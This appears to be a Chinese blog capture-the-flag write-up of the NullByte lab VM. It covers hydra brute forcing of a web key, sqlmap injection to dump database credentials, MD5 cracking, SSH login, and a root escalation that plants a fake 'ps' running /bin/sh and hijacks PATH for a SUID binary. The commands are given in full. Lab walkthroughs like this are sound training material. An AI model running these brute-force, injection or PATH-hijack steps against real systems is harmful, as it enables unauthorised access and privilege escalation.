NullByte:劫持环境变量提权


靶机地址

1.信息收集

端口扫描

80端口:

看到图片,用exiftool工具检查一下图片内容是否携带信息。

kzMb5nVYJw可能是路径,尝试访问:

这里要求输入key。查看源码,提示爆破:

hydra post数据爆破命令:

hydra -l "" -P /usr/share/dirb/wordlists/big.txt 192.168.56.9 http-post-form "/kzMb5nVYJw/:key=^PASS^:invalid" -f 

爆破到密码为elite,登入:

这里要求输入用户名,那可能这次和数据库有关了,抓包查看url:

用sqlmap进行SQL注入测试:

sqlmap -u "http://192.168.56.9/kzMb5nVYJw/420search.php?usrtosearch=aaaa" --dbs

存在sql注入漏洞。

查看数据库内容,dump出感兴趣的seth库:

尝试将md5密码crack,工具网址:https://hashes.com/en/decrypt/hash

连续解码两次,得到密码omega。

2.获取shell与提权

用凭证ramses:omega进行ssh登录,端口为777.

下面检查suid文件:

find / -perm -4000 2>/dev/null

其中,/var/www/backup/procwatch这个程序,功能是调用ps,用于查看当前运行的进程。

这时就可以创建恶意ps二进制文件,并将当前工作目录包含到**$PATH**变量中,以便执行恶意 ps 命令。

依次执行以下命令:

cd /tmp
echo "/bin/sh" > ps
export PATH='pwd':$PATH
echo $PATH

看到包含恶意ps文件的/tmp文件夹已经在环境变量中了。

接下来执行procwatch程序,触发恶意ps文件。对了,ps不要忘记加777权限!

成功提权至root,获取flag!


文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录